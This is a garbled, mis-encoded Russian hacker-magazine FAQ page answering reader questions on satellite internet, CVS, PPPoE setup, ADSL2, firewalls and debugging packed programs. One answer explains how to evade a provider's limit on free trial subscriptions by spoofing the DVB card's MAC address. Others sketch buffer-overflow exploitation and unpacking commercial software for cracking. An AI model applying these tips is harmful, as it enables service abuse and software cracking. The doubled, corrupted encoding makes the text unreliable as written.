ïîýòîìó ìîùíûé ñåðâåð áóäåò î÷åíü êñòàòè.

QQ:: ÏÏððîî÷÷èèòòààëë ââààøøóó ññòòààòòüüþþ ««ÍÍååááååññííûûåå ððààääîîññòòèè»» îî ññïïóóòòííèèêêîî-
ââîîìì òòååëëååââèèääååííèèèè,, ììííåå îî÷÷ååííüü ïïîîííððààââèèëëîîññüü.. ÐÐààççîîááððààëëññÿÿ,, ïïîîññ-
òòààââèèëë �� ððààááîîòòààååòò!! ÑÑ ííååääààââííèèõõ ïïîîðð ííàà÷÷ààëë èèññïïîîëëüüççîîââààòòüü ååùùåå
èè ññïïóóòòííèèêêîîââûûéé èèííòòååððííååòò.. ÇÇààììååòòèèëë,, ÷÷òòîî ííååêêîîòòîîððûûåå ïïððîîââààééääåå-

ððûû ïïððååääîîññòòààââëëÿÿþþòò ááååññïïëëààòòííûûéé òòååññòòîîââûûéé ääîîññòòóóïï.. ÅÅññòòüü ëëèè
ññïïîîññîîááûû îîááîîééòòèè èèõõ ççààùùèèòòûû èè ááððààòòüü ýýòòîîòò ääîîññòòóóïï ííååññêêîîëëüüêêîî
ððààçç?? PP..SS.. ßß èèññïïîîëëüüççóóþþ DDVVBB-êêààððòòóó SSkkyySSttaarr22..
A: Áîëüøèíñòâî SAT-ïðîâàéäåðîâ ïðèâÿçûâàþò ó÷åòíûå
çàïèñè ê MAC-àäðåñó DVB-êàðòû, êîòîðóþ èñïîëüçóåò ïîëü-
çîâàòåëü. Îäíàæäû îôîðìèâ ïîäïèñêó íà ñâîþ DVB-êàðòó,
ïîâòîðíî òû çàðåãèñòðèðîâàòüñÿ â ñèñòåìå óæå íå ñìî-
æåøü, òàê êàê ñèñòåìà áóäåò ðóãàòüñÿ è ãîâîðèòü, ÷òî ïîëü-
çîâàòåëü ñ óêàçàííûì MAC-àäðåñîì óæå ñóùåñòâóåò. Òî÷íî
òàêàÿ æå ïðîâåðêà ðàñïðîñòðàíÿåòñÿ è íà òåñòîâûå ïîäïèñ-
êè. Îáîéòè òàêóþ çàùèòó � ïðîùå íåêóäà: íóæíî ëèøü èç-
ìåíèòü MAC-àäðåñ DVB-êàðòû. Ïîä Linux'îì ýòî âûïîëíÿåò-
ñÿ ñòàíäàðòíûì ifconfig, à ïîä Windows � ñïåöèàëüíîé òóë-
çîé SS2 Unlocker (http://users.teol.net/~vsinisa/skystar2eep-
romeditor.zip). Îäíàêî èñïîëüçîâàòü ýòîò ïðèåì ÿ òåáå íàñ-
òîÿòåëüíî íå ðåêîìåíäóþ. Åñëè êàæäûé áóäåò çàêàçûâàòü
ñåáå áåñïëàòíûå ïîäïèñêè ïî 10 ðàç íà äåíü, î÷åíü ñêîðî
ïðîâàéäåð ïîïðîñòó ïðåêðàòèò èõ ðàçäà÷ó. Ëþäè, êîòîðûå
äåéñòâèòåëüíî õîòåëè áû ïðîâåðèòü ñåðâèñ, îñòàíóòñÿ íå
ó äåë, à âåäü ñðåäè íèõ âïîëíå ìîã îêàçàòüñÿ è òû!

QQ:: ÑÑêêîîëëüüêêîî ááààééòòîîââ ââ êêèèëëîîááààééòòåå??
A: Âîçìîæíî, êòî-òî ïðèêàëûâàëñÿ, ïîñûëàÿ ýòîò âîïðîñ â
FAQ, íî ïðèêîëüíóëñÿ îí â òåìó. Êàæäûé çíàåò, ÷òî â êèëî-
áàéòå 1024 áàéòà (10 ñòåïåíü 2-êè). Ëþáîãî, êòî ñ÷èòàåò èíà-
÷å (1000 áàéò), òóò æå îòïðàâëÿþò ó÷èòü ìàò÷àñòü è ó÷åáíè-
êè ïî èíôîðìàòèêå. À âåäü íà ñàìîì äåëå ýòè íåñ÷àñòíûå è
óãíåòåííûå ïðàâû! Ãðå÷åñêèé êîðåíü «êèëî», âîîáùå ãîâî-
ðÿ, îáîçíà÷àåò èìåííî óìíîæåíèå íà 1000, íî óæ íèêàê íå
ñòåïåíü äâîéêè. Îòêóäà ïîøëà òàêàÿ íåñóðàçèöà � íå ÿñíî.
È âñå áû íè÷åãî, åñëè â 1999 ãîäó Ìåæäóíàðîäíàÿ ýëåêòðè-
÷åñêàÿ êîìèññèÿ íå ðåøèëàñü ýòó íåñóðàçèöó èñïðàâèòü. Ðå-
áÿòà, íåäîëãî äóìàÿ, ïðèäóìàëè äëÿ îáîçíà÷åíèÿ 1024 áàéò
ïîíÿòèå äâîè÷íîãî êèëîáàéòà (ñîêðàùåííî êèáèáàéò). Ñà-
ìîå ñìåøíîå, ÷òî ýòè íîâøåñòâà â 2000 ãîäó îôèöèàëüíî
áûëè çàïèñàíû â ìåæäóíàðîäíûé ñòàíäàðò � IEC 60027-2
(2000-11). Ñïðàâåäëèâîñòè ðàäè ñòîèò ñêàçàòü, ÷òî ýòè íåïî-
íÿòíûå ñîêðàùåíèÿ íå ïðèæèëèñü: ó÷åáíèêè, ê ïðèìåðó, ïî-
ïðåæíåìó ïðîäîëæàþò óòâåðæäàòü, ÷òî Êá � ýòî 2^10, è íè-
êàê èíà÷å. Çàòî íåðàçáåðèõó â ñòàíäàðòàõ íà÷àëè èñïîëüçî-
âàòü â ñâîèõ öåëÿõ íåêîòîðûå ïðîâàéäåðû, êîòîðûå óìåëî
ñ÷èòàþò çà ìåãàáàéò 1000 áàéòîâ, îáìàíûâàÿ ïðè ýòîì íå-
ïîíÿòëèâûõ ïîëüçîâàòåëåé. Íàâàð â 24 áàéòà ñ êàæäîãî ìå-
ãàáàéòà � ýòî íà ñàìîì äåëå íå òàê ìàëî, êàê òû äóìàåøü...
À æàëîâàòüñÿ íå íà ÷òî: ñòàíäàðò-òî âåäü åñòü!

QQ:: ××òòîî òòààêêîîåå CCVVSS,, èè ïïîî÷÷ååììóó îîííàà òòààêê ÷÷ààññòòîî èèññïïîîëëüüççóóååòòññÿÿ
ïïððîîããððààììììèèññòòààììèè ââ ááîîëëüüøøèèõõ ïïððîîååêêòòààõõ??
A: CVS (Concurrent Versions System) � ýòî ñèñòåìà ñîñóùå-
ñòâîâàíèÿ âåðñèé. Èíñòðóìåíò, áåç êîòîðîãî íå ïðåäñòàâëÿ-
þò ñâîåé ðàáîòû òûñÿ÷è ïðîãðàììèñòîâ ïî âñåìó ìèðó.
Ïðåäñòàâü, ÷òî òû ïîñòîÿííî çàíèìàåøüñÿ êàêèì-íèáóäü
áîëüøèì ïðîåêòîì, íàïðèìåð, ðàçðàáàòûâàåøü áðàóçåð.
Êàæäûé äåíü òåáå ïðèõîäèòñÿ âíîñèòü â êîä êó÷ó èçìåíå-
íèé, äîáàâëÿÿ â íåãî ñîòíè èëè äàæå òûñÿ÷è íîâûõ ñòðîê.
Åñòåñòâåííî, çàïîìíèòü â óìå, ãäå è êàêèå èçìåíåíèÿ ïðî-
èçâåäåíû, íåâîçìîæíî. Áûòü ìîæåò, òû áóäåøü ïîìíèòü î
íèõ ÷åðåç äåíü èëè äâà, íî òî÷íî íå ÷åðåç íåäåëþ èëè ìå-
ñÿö. Èìåííî ïîýòîìó êðàéíå íåîáõîäèìî ïîñòîÿííî âåñòè
áàçó èçìåíåíèé: åñëè ÷åðåç íåêîòîðîå âðåìÿ âñïëûâåò êà-
êàÿ-òî íåïðèÿòíàÿ îøèáêà, ìîæíî ëåãêî ïðîñìîòðåòü èçìå-
íåííûé êîä. Ïðîãðàììèñòó ïðè òàêîì ðàñêëàäå çíà÷èòåëü-Þ
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FAQÑOMMENTS
Step 
(faq@real.xakep.ru)

ÇÀÄÀÂÀ� ÂÎÏÐÎÑ, ÏÎÄÓÌÀÉ! ÍÅ ÑÒÎ-
ÈÒ ÌÍÅ ÏÎÑÛËÀÒÜ ÂÎÏÐÎÑÛ, ÒÀÊ ÈËÈ

ÈÍÀ÷Å ÑÂ�ÇÀÍÍÛÅ Ñ ÕÀÊÎÌ/ÊÐÝÊÎÌ/ÔÐÈÊÎÌ
� ÄË� ÝÒÎÃÎ ÅÑÒÜ HACK-FAQ
(HACKFAQ@REAL.XAKEP.RU), ÍÅ ÑÒÎÈÒ ÒÀÊÆÅ

ÇÀÄÀÂÀÒÜ ÎÒÊÐÎÂÅÍÍÎ ËÀÌÅÐÑÊÈÅ ÂÎÏÐÎ-
ÑÛ, ÎÒÂÅÒ ÍÀ ÊÎÒÎÐÛÅ ÒÛ ÏÐÈ ÎÏÐÅÄÅËÅÍ-
ÍÎÌ ÆÅËÀÍÈÈ ÌÎÆÅØÜ ÍÀÉÒÈ È ÑÀÌ. ß ÍÅ
ÒÅËÅÏÀÒ, ÏÎÝÒÎÌÓ ÊÎÍÊÐÅÒÈÇÈÐÓÉ ÂÎÏ-
ÐÎÑ, ÏÐÈÑÛËÀÉ ÊÀÊ ÌÎÆÍÎ ÁÎËÜØÅ ÈÍÔÎÐ-



[X
À

Ê
Å

Ð
0

9
 [

8
1

] 
0

5
 >

Â
Ç

Ë
Î

Ì
1

4
5

]

íî ïîìîãëà áû àâòîìàòè÷åñêàÿ ñèñòåìà, êîòîðàÿ âåäåò ñïèñîê
âñåõ èçìåíåíèé â êîäå. Òàêàÿ, êàê CVS. Ýòà ñèñòåìà îòñëåæèâàåò
âñå èçìåíåíèÿ â èñõîäíèêàõ è ñîõðàíÿåò ìíîãî÷èñëåííûå âåðñèè
ÏÎ. Åñëè ÷òî-òî âäðóã ñëîìàëîñü â ïîñëåäíåé âåðñèè, òåáå íå ñîñ-
òàâèò òðóäà âåðíóòüñÿ ê áîëåå ñòàðîé è èñïðàâèòü îøèáêó. Íî ýòî
åùå íå âñå. Êëþ÷åâîé ôóíêöèåé CVS ÿâëÿåòñÿ êîîðäèíàöèÿ ðàáî-
òû ãðóïïû ïðîãðàììèñòîâ. Êàæäîìó èç íèõ íóæíî ðàáîòàòü òîëü-
êî ñ ïîñëåäíåé âåðñèåé êàæäîãî èç èñõîäíûõ ôàéëîâ, ïðè ýòîì
áûòü óâåðåííûì, ÷òî åãî â äàííûé ìîìåíò íå ðåäàêòèðóåò êòî-òî
äðóãîé. Ê ñ÷àñòüþ, CVS îòëè÷íî ñïðàâëÿåòñÿ ñ ýòîé çàäà÷åé, ïðå-
äîñòàâëÿÿ óäàëåííûé äîñòóï ê èñõîäíûì ôàéëàì äëÿ çàêà÷êè ñà-
ìîãî «ñâåæåãî» èñõîäíîãî òåêñòà. Åñëè ðàíüøå òàêàÿ ñèñòåìà áû-
ëà ïîïóëÿðíà ñðåäè ðàçðàáîò÷èêîâ ñâîáîäíîãî open-source ñîô-
òà, òî òåïåðü îíà (íåîáÿçàòåëüíî CVS, åñòü è àíàëîãè) çàâîåâàëà
ïîïóëÿðíîñòü è â ïðîöåññå ðàçðàáîòêå êîììåð÷åñêèõ ïðîäóêòîâ.
Íåêîòîðûå èç íèõ ðàçðàáàòûâàþòñÿ è äîðàáàòûâàþòñÿ ìíîãèå ãî-
äû, ïðè ýòîì ñîñòàâ ïðîãðàììèñòîâ ïîñòîÿííî ìåíÿåòñÿ. Åñëè
ïîñòóïàþùèé íà ðàáîòó ïðîãðàììèñò çíàêîì ñ CVS (óïîìèíàíèå
î êîòîðîé, êñòàòè ãîâîðÿ, ÷àñòî ñòàëî ïîÿâëÿòüñÿ â ñïèñêå òðåáî-
âàíèé), òî åìó áóäåò ãîðàçäî ïðîùå îñâîèòüñÿ ñ ÷óæèì êîäîì è
áûñòðî ïðèñòóïèòü ê ðàáîòå. Ïîäðîáíåå î ñèñòåìå òû ìîæåøü ïðî-
÷èòàòü íà ñàéòå www.nongnu.org/cvs/. Ïåðåâîä äîêóìåíòàöèè íà ðóñ-
ñêèé ëåæèò íà ñàéòå linuxland.itam.nsc.ru/book/linux03/node110.html.
Ðåêîìåíäóþ.

QQ:: ÏÏîîääññêêààææèè,, êêààêê ââ FFeeddoorraa CCoorree ííààññòòððîîèèòòüü PPPPPPooEE-ïïîîääêêëëþþ÷÷ååííèèåå êê
ïïððîîââààééääååððóó??
A: Äëÿ ýòîãî â Fedora èìååòñÿ ñïåöèàëüíûé ïàêåò PPPoE. Óñòàíî-
âèòü åãî ìîæíî, êàê è ëþáóþ äðóãóþ rpm-êó. Ïîä ðóòîì â êîíñîëå
íàáåðè:

# rpm -i rp-pppoe-3.5-29.i386.rpm, ãäå rp-pppoe-3.5-29.i386.rpm �
ýòî èìÿ RMP-ïàêåòà

Åñëè ïàêåò óñòàíîâèòñÿ ïðàâèëüíî, ìîæíî ïðèñòóïàòü ê ñëåäóþ-
ùåìó ýòàïó � íàñòðîéêå ñîåäèíåíèÿ ñåòåâîé êàðòû: îíà íå äîëæ-
íà áûòü àêòèâíà â ñèñòåìå. Äëÿ òîãî, ÷òîáû äåàêòèâèðîâàòü åå,
äîñòàòî÷íî âûïîëíèòü êîìàíäó: 

ifdown eth0, ãäå eth0 � ýòî íàçâàíèå ñåòåâîãî èíòåðôåéñà.

Äàëåå íóæíî çàïóñòèòü ñêðèïò äëÿ íàñòðîéêè íåïîñðåäñòâåííî
ñàìîãî PPPoE-ïîäêëþ÷åíèÿ:

#adsl-setup

Ñêðèïò ïðåäñòàâëÿåò ñîáîé óäîáíûé ìàñòåð, êîòîðûé çàïðîñèò
èìÿ ñåòåâîãî óñòðîéñòâà (ââîäè ppp0), ëîãèí è ïàðîëü äëÿ ïîäê-
ëþ÷åíèÿ ê PPPoE ñåðâåðó, à òàêæå ñåòåâîé èíòåðôåéñ, ÷åðåç êî-
òîðûé áóäåò îñóùåñòâëÿòü ñîåäèíåíèå (ââîäè eht0). Ïîìèìî ýòî-
ãî íóæíî óêàçàòü àäðåñ DNS-ñåðâåðîâ èëè çíà÷åíèå «server», åñ-
ëè DNS-ñåðâåð íàçíà÷àåòñÿ àâòîìàòè÷åñêè. Ïîñëå òîãî, êàê
ñêðèïò çàêîí÷èò ðàáîòó, òû ìîæåøü ïðîèçâåñòè ïîäêëþ÷åíèå: 

#ifup ppp0

Äëÿ òîãî, ÷òîáû åãî îòêëþ÷èòü, âûïîëíÿåòñÿ àíàëîãè÷íàÿ êîìàíäà:

#ifdown ppp0

QQ:: ÃÃîîââîîððÿÿòò,, ÷÷òòîî ääëëÿÿ ììííîîããèèõõ ììóóççûûêêààëëüüííûûõõ ïïððîîèèããððûûââààòòååëëååéé ååññòòüü ííåå-
êêèèéé ïïëëààããèèíí,, êêîîòòîîððûûéé ññååððüüååççííîî óóëëóó÷÷øøààååòò êêàà÷÷ååññòòââîî ççââóó÷÷ààííèèÿÿ.. ÂÂåå-
ððèèòòññÿÿ ññ òòððóóääîîìì,, ííîî ââññåå ððààââííîî ððååøøèèëë ññïïððîîññèèòòüü:: òòààêêîîéé ïïëëààããèèíí
ääååééññòòââèèòòååëëüüííîî ååññòòüü??
A: Åñëè òû õîòü ðàç êðóòèë íàñòðîéêè Winamp'à, òî äîëæåí çíàòü, ÷òî
çâó÷àíèå ëþáîé êîìïîçèöèè î÷åíü ñèëüíî çàâèñèò îò íàñòðîåê ýêâà-
ëàéçåðà. Ïîèãðàâøèñü ñ ÷àñòîòàìè, ìîæíî äîáèòüñÿ äîâîëüíî êà-
÷åñòâåííîãî çâó÷àíèÿ, à ìîæíî ïîëó÷èòü ñîâåðøåííî îòâ-

-FaQ-unit



ðàòíûé çâóê. Ïîëó÷àåòñÿ, ÷òî êîìïîçèöèÿ ìîæåò çâó÷àòü ñîâåðøåí-
íî ïî-ðàçíîìó íà îäíîì è òîì æå îáîðóäîâàíèè. Ïëàãèíîâ, êîòîðûå
ïðåäíàçíà÷åíû äëÿ àâòîìàòè÷åñêîé êîððåêöèè ïàðàìåòðîâ âîñïðî-
èçâåäåíèÿ, ïîãîëîâíî îáåùàþùèõ áîëåå êà÷åñòâåííûé çâóê, íà ñà-
ìîì äåëå íåìàëî. Ñðåäè íèõ îñîáåííî âûäåëÿåòñÿ DFX
(www.fxsound.com). Ïðîäóêò ðàçðàáàòûâàþò íàñòîÿùèå ïðîôè, ïîý-
òîìó åãî ïî äîñòîèíñòâó îöåíèëè êàê ëþáèòåëè, òàê è ìóçûêàëüíûå
ïðîôè. Ïîñëå åãî óñòàíîâêè çâó÷àíèå êîìïîçèöèé äåéñòâèòåëüíî
ñòàíîâèòñÿ íàìíîãî ïðèÿòíåå � ïî êðàéíåé ìåðå, ñóáúåêòèâíî. Òà-
êîé ýôôåêò äîñòèãàåòñÿ çà ñ÷åò ñîâåðøåíñòâîâàíèÿ ÷àñòîòíûõ õà-
ðàêòåðèñòèê, êîòîðûì, ñîáñòâåííî, è çàíèìàåòñÿ ýòîò ïëàãèí. Ñ ïî-
ìîùüþ DFX óñòðàíÿþòñÿ äâà ãëàâíûõ íåäîñòàòêà: ñðåç âûñîêèõ ÷àñ-
òîò è íåäîñòàòî÷íîå ðàçäåëåíèå ñòåðåîáàçû è åå ãëóáèíû. Áîëåå òî-
ãî, îí äîáàâëÿåò âèðòóàëüíûå ðåæèìû 3D Surround è SuperBass, êî-
òîðûå íàâåðíÿêà íå ïîääåðæèâàþòñÿ òâîåé àêóñòè÷åñêîé ñèñòåìîé.
Ñóùåñòâóþò âåðñèè DXF äëÿ Winamp (2.x è 5.x), Musicmatch Jukebox,
Windows Media Player (9/10), RealPlayer, RealOne, Sonique è J.River
Media Jukebox è ò.ä. Ãîâîðÿò äàæå, ÷òî ñóùåñòâóåò ïîðò ïîä
Linux'îâûå ïðîèãðûâàòåëè, íî ìíå èõ íàéòè íå óäàëîñü :(.

QQ:: ÍÍååêêîîòòîîððûûåå ïïîîëëüüççîîââààòòååëëèè ååùùåå òòîîëëêêîîìì ííåå óóññïïååëëèè îîññââîîèèòòüüññÿÿ ññ
AADDSSLL,, êêààêê ííååêêîîòòîîððûûåå ïïððîîââààééääååððûû îîááúúÿÿââèèëëèè îî ââííååääððååííèèèè ííîîââîîéé
òòååõõííîîëëîîããèèèè �� AADDSSLL22.. ××òòîî ýýòòîî ççàà ççââååððüü,, èè êêààêêèèåå îîíí èèììååååòò ïïððååèè-
ììóóùùååññòòââàà??
A: Òåõíîëîãèÿ ADSL2 è åå áëèæàéøàÿ ðîäñòâåííèöà ADSL2+ � ýòî
ñåðüåçíûé ðûâîê âïåðåä îòíîñèòåëüíî îáû÷íîãî ADSL. Êàê èçâåñò-
íî, ìàêñèìàëüíî âîçìîæíàÿ ñêîðîñòü ADSL-ñîåäèíåíèÿ ïðèáëèçè-
òåëüíî ðàâíà 8 Ìáèò/ñ. Ñòîëü âûñîêàÿ ñêîðîñòü ìîæåò áûòü äîñòèã-
íóòà èñêëþ÷èòåëüíî íà õîðîøåì îáîðóäîâàíèè, èäåàëüíîé ëèíèè è
ïðè óñëîâèè íåáîëüøîãî ðàññòîÿíèÿ äî ìóëüòèïëåêñîðà ïðîâàéäåðà.
Íà ïðàêòèêå 6 Ìáèò/ñ � ýòî òîò ìàêñèìóì, êîòîðûé ìîãóò ãàðàíòèðî-
âàòü òåáå ïðîâàéäåðû. Íîâîìîäíûå òåõíîëîãèè çíà÷èòåëüíî ïîäíè-
ìàåò ýòó ðàìêó. Â ñëó÷àå ADSL2 ìàêñèìàëüíàÿ ñêîðîñòü ñîñòàâëÿåò
óæå 12 Ìáèò/ñ. À çà ñ÷åò óâåëè÷åíèÿ íåñóùåé ÷àñòîòû (ñ 1.1 ÌÃö äî
2.2 ÌÃö) óäàåòñÿ äîáèòüñÿ è âîâñå 25 Ìáèò/ñ, ÷òî è ðåàëèçîâàíî â
ADSL2+. Áîëåå òîãî, íîâûå òåõíîëîãèè ïîçâîëÿþò îáúåäèíèòü ñðàçó
íåñêîëüêî «ìåäíûõ» êàíàëîâ è äîáèòüñÿ ñêîðîñòè, ñðàâíèìîé ñ îï-
òîâîëîêîííîé. Âñå ýòî ñ÷àñòüå äîñòèãàåòñÿ çà ñ÷åò èñïîëüçîâàíèÿ
ñîâåðøåííî íîâîé ìîäóëÿöèè, ñíèæàþùåé èçáûòî÷íîå êîäèðîâàíèå
è ïåðåäà÷ó ñëóæåáíîé èíôîðìàöèè. Áëàãîäàðÿ àâòîìàòè÷åñêîé ðå-
ãóëèðîâêå ñêîðîñòè, íîâûå òåõíîëîãèè ñìîãóò ðàáîòàòü íà áîëåå çà-
øóìëåííûõ ëèíèÿõ è áîëüøèõ ðàññòîÿíèÿõ îò ïðîâàéäåðà. Â ñëó÷àå
èçìåíåíèÿ óñëîâèé â êàíàëå, ADSL2 àâòîìàòè÷åñêè è áåç îáðûâà ñî-
åäèíåíèÿ èçìåíèò ñêîðîñòü òàê, ÷òîáû óëó÷øèòü êà÷åñòâî ñâÿçè, ïðå-
äîòâðàùàÿ ïîÿâëåíèÿ îøèáîê â ïåðåäà÷å. Ê ñëîâó, äàæå åñëè äèñ-
êîííåêò ïðîèçîéäåò, òî ñâÿçü âîññòàíîâèòñÿ âñåãî çà 3-4 ñåêóíäû. Â
ADSL äëÿ ýòîãî ìîæåò ïîòðåáîâàòüñÿ äî 10 ñåêóíä. Ïðèìå÷àòåëüíî,
÷òî äëÿ èñïîëüçîâàíèÿ ADSL2+ ìíîãèì äàæå íå ïðèäåòñÿ ìåíÿòü
îáîðóäîâàíèå, òàê êàê ìíîãèå ïðîèçâîäèòåëè ìîäåìîâ âûêëàäûâàþò
ïðîøèâêè äëÿ ïîääåðæêè ýòèõ òåõíîëîãèé.

QQ:: ÎÎááúúÿÿññííèè ííàà ïïààëëüüööààõõ,, ÷÷òòîî ññîîááîîéé ïïððååääññòòààââëëÿÿååòò ïïååððååïïîîëëííååííèèåå ááóó-
ôôååððàà,, èè ïïîî÷÷ååììóó ýýòòàà óóÿÿççââèèììîîññòòüü òòààêê îîïïààññííàà??
A: ß íå ñî âðó, åñëè ñêàæó, ÷òî ïåðåïîëíåíèå áóôåðà � ýòî íà-
èáîëåå ðàñïðîñòðàíåííàÿ îøèáêà â ÏÎ. Âñå çíàþò îá åå ñóùå-
ñòâîâàíèè, îäíàêî ïðîãðàììèñòû ïî-ïðåæíåìó äîïóñêàþò ìàñ-
ñó ëÿïîâ â êîäå. Ëþáàÿ ïðîãðàììà ïîëó÷àåò äàííûå îò ïîëüçî-
âàòåëÿ � ýòî ôàêò. Åñëè ïîëüçîâàòåëü âñåãäà ââîäèò òîëüêî
êîððåêòíûå çíà÷åíèÿ äàííûõ, òî ïðîãà îòëè÷íî èõ ïåðåâàðèâà-
åò. Äðóãîé äåëî, åñëè â ïðîãðàììå â êà÷åñòâå òåêóùåé äàòû
óêàçàòü, íàïðèìåð, 1000 íóëåé. Åñëè ïðîãðàììèñòîì íå ïðå-
äóñìîòðåíà îáðàáîòêà ýòîé èñêëþ÷èòåëüíîé ñèòóàöèè, òî ïðî-
èçîéäåò ïåðåïîëíåíèå áóôåðà. Êîíå÷íî, ýòî ñàìûé ïðèìèòèâ-
íûé ïðèìåð: ïóáëèêóåìûå íà security-ñàéòàõ ýêñïëîéòû îñíî-
âûâàþòñÿ íà áîëåå èçîùðåííûõ ïóòÿõ ïåðåïîëíåíèÿ, íî íå â

ýòîì ñóòü. Ñàìî ïî ñåáå ïåðåïîëíåíèå íå î÷åíü îïàñíî è ãðî-
çèò, êàê ìàêñèìóì, âûëåòîì ïðîãðàììû. Îäíàêî åñëè ïåðåïîë-
íÿòü áóôåð íå íàîáóì, à çàâåäîìî âíåäðÿÿ â íåãî çëîâðåäíûé
êîä è ïîäìåíÿÿ àäðåñ âîçâðàòà íà ôóíêöèþ, òî ìîæíî äîáèòü-
ñÿ áîëåå ñåðüåçíîãî ýôôåêòà. Åñëè âñå ñäåëàòü ãðàìîòíî, òî
ââèäó ñïåöèôèêè ÎÑ ýòîò çëîâðåäíûé êîä áóäåò âûïîëíåí, è
òîãäà... Î òîì, êàê ïðàâèëüíî ïåðåïîëíÿòü áóôåð è ïèñàòü ñâîè
øåëë-êîäû, ðåêîìåíäóþ ïðî÷èòàòü ñòàòüþ www.wasm.ru/arti-
cle.php?article=buf_over4noob, à òàêæå ñòàòüè ñõîæåé òåìàòèêè
ñ www.void.ru è www.securitylab.ru

QQ:: ÍÍååääààââííîî êêóóïïèèëë ññååááåå ííîîââóóþþ ììààòòååððèèííêêóó èè ááûûëë óóääèèââëëååíí,, ÷÷òòîî ííàà
ííååéé óóññòòààííîîââëëååíí êêààêêîîéé-òòîî ííååïïîîííÿÿòòííûûéé 2244-ïïèèííîîââûûéé ððààççúúååìì ääëëÿÿ ááëëîî-
êêàà ïïèèòòààííèèÿÿ.. ÈÈ óó ììîîååããîî ääððóóããàà ååññòòüü òòààêêîîéé ææåå.. ÍÍîî ððààííüüøøåå ÿÿ òòààêêèèõõ ííèè-
êêîîããääàà ííåå ââèèääååëë...... ÇÇàà÷÷ååìì îîíí ííóóææååíí,, ååññëëèè èè ááååçç ííååããîî ââññåå îîòòëëèè÷÷ííîî ððàà-
ááîîòòààååòò......
A: Ýòîò ðàçúåì îáåñïå÷èâàåò ìàòåðèíñêîé ïëàòå äîïîëíèòåëü-
íûå 12 âîëüò íàïðÿæåíèÿ. Íà ñèñòåìàõ ñ ìàëûì ýíåðãîïîòðåá-
ëåíèåì ìîæíî îáîéòèñü è áåç íåãî. Îäíàêî òàì, ãäå èñïîëüçó-
åòñÿ ìîùíûå ïðîöåññîð è âèäþõà, åãî èñïîëüçîâàíèå áóäåò
î÷åíü êñòàòè. Íà ìàòåðèíñêîé ïëàòå ýòî ïîâûñèò íàäåæíîñòü
êîíòàêòîâ, à òàêæå óìåíüøèò òåïëîâûäåëåíèå è ïàäåíèå íàï-
ðÿæåíèÿ íà íèõ. 

QQ:: ßß ääîîââîîëëüüííîî ääîîëëããîîåå ââððååììÿÿ ââ êêàà÷÷ååññòòââåå ññååððââååððííîîéé ÎÎÑÑ èèññïïîîëëüüççîî-
ââààëë LLiinnuuxx èè,, ññîîîîòòââååòòññòòââååííííîî,, ôôààééððââîîëë iippttaabblleess.. ÎÎññââîîèèëë ÿÿ ååããîî îîññííîî-
ââààòòååëëüüííîî,, ííîî ññèèòòóóààööèèÿÿ ïïååððååììååííèèëëààññüü.. ÍÍàà÷÷ààëëüüññòòââîî òòððååááóóååòò óóññòòààííîî-
ââèèòòüü FFrreeeeBBSSDD,, ííîî ÿÿ ïïîîêêàà ííåå ââ ëëààääààõõ ññ iippffww.. ÌÌîîææååòò ááûûòòüü,, ååññòòüü ññïïîî-
ññîîáá ååããîî ííààññòòððîîèèòòüü ììààêêññèèììààëëüüííîî êêîîììôôîîððòòííîî??
A: Íà ñàìîì äåëå åñòü îòëè÷íàÿ óòèëèòà, ñ ïîìîùüþ êîòîðîé òû ëåãêî
ñìîæåøü îòêîíôèãóðèðîâàòü è iptables, è ipchains, è ipfw, è ëþáîé äðó-
ãîé ïîïóëÿðíûé áðàíäìàóýð. Èìÿ ýòîé ÷óäíîé ïðîãðàììû Firewall
Builder (www.fwbuilder.org). Ôèøêà çàêëþ÷àåòñÿ â òîì, ÷òî òåáå íå ïðè-
äåòñÿ çàìîðà÷èâàòüñÿ íà ñèíòàêñèñå êàêîãî-òî êîíêðåòíîãî ôàéðâîëà:
â FB âñå äåëàåòñÿ âèçóàëüíî. Êèíóë íà ðàáî÷óþ îáëàñòü îäíó ïîäñåòü,
çàòåì äðóãóþ, íàñòðîèë ìåæäó íèìè øëþç è ò.ä. Òàêîé ïîäõîä íå òîëü-
êî îáëåã÷àåò êîíôèãóðèðîâàíèå íåîïûòíûì ïîëüçîâàòåëÿì, íî è ïîç-
âîëÿåò ïîëíîñòüþ ñêîíöåíòðèðîâàòüñÿ íà ñîñòàâëåíèè ïðàâèë áåçî-
ïàñíîñòè. Ðåêîìåíäóþ ïîïðîáîâàòü, ïðîãðàììà êàê ðàç äëÿ òåáÿ!

QQ:: ßß ððààää,, ÷÷òòîî ÕÕ ííàà÷÷ààëë îîññââååùùààòòüü òòååììóó ââççëëîîììàà ïïððîîããððààìììì.. ÍÍààììååääííèè
óóññòòààííîîââèèëë ääååááààããããååðð OOllllyyDDBBGG èè ïïîîïïûûòòààëëññÿÿ ïïîîññììîîòòððååòòüü ààññññååììááëëååðð-
ííûûéé êêîîää îîääííîîéé êêîîììììååðð÷÷ååññêêîîéé ïïððîîããððààììììûû.. ÈÈ ååññëëèè ððààííüüøøåå ïïððîîááëëååìì
ññ ýýòòèèìì ííåå ââîîççííèèêêààëëîî,, òòîî òòååïïååððüü îîòòëëààää÷÷èèêê îîòòêêààççûûââààååòòññÿÿ ððààááîîòòààòòüü,,
ññññûûëëààÿÿññüü ííàà òòîî,, ÷÷òòîî ííåå ììîîææååòò èèççââëëåå÷÷üü òòààááëëèèööûû èèììïïîîððòòàà èè òò..ïï.. ÄÄîîëë-
ããîî ððóóããààååòòññÿÿ èè,, ââ êêîîííööåå êêîîííööîîââ,, ââûûääààååòò ííåå÷÷ëëååííîîððààççääååëëüüííûûéé êêîîää.. ÂÂ
÷÷ååìì ììîîææååòò ááûûòòüü ïïððîîááëëååììàà??
A: Ñêîðåå âñåãî, îòëàæèâàåìàÿ ïðîãðàììà óïàêîâàíà. Ìíîãèå
ðàçðàáîò÷èêè äåëàþò ýòî íàìåðåííî, ÷òîáû çàòðóäíèòü ïðî-
öåññ îòëàäêè. Ïðîâåðèòü ýòî íåñëîæíî, òàê êàê íàçâàíèå è
âåðñèþ óïàêîâùèêà èçÿùíî îïðåäåëÿåò íåáîëüøàÿ óòèëèòà
PEiD (peid.has.it). Î÷åíü âàæíî âûÿñíèòü òî÷íóþ âåðñèþ óïà-
êîâùèêà,ïîòîìó ÷òî îò ýòîãî ñèëüíî çàâèñÿò äàëüíåéøèå
äåéñòâèÿ. Ðàñïàêîâêó ìîæíî ïðîâåñòè âðó÷íóþ, íî äëÿ ýòîãî
íóæåí ïðèëè÷íûé îïûò èëè ãðàìîòíûå ñòàòüè, êîòîðûå íåðåä-
êî ïóáëèêóþòñÿ íà www.cracklab.ru. Åñëè óïàêîâùèê íå î÷åíü
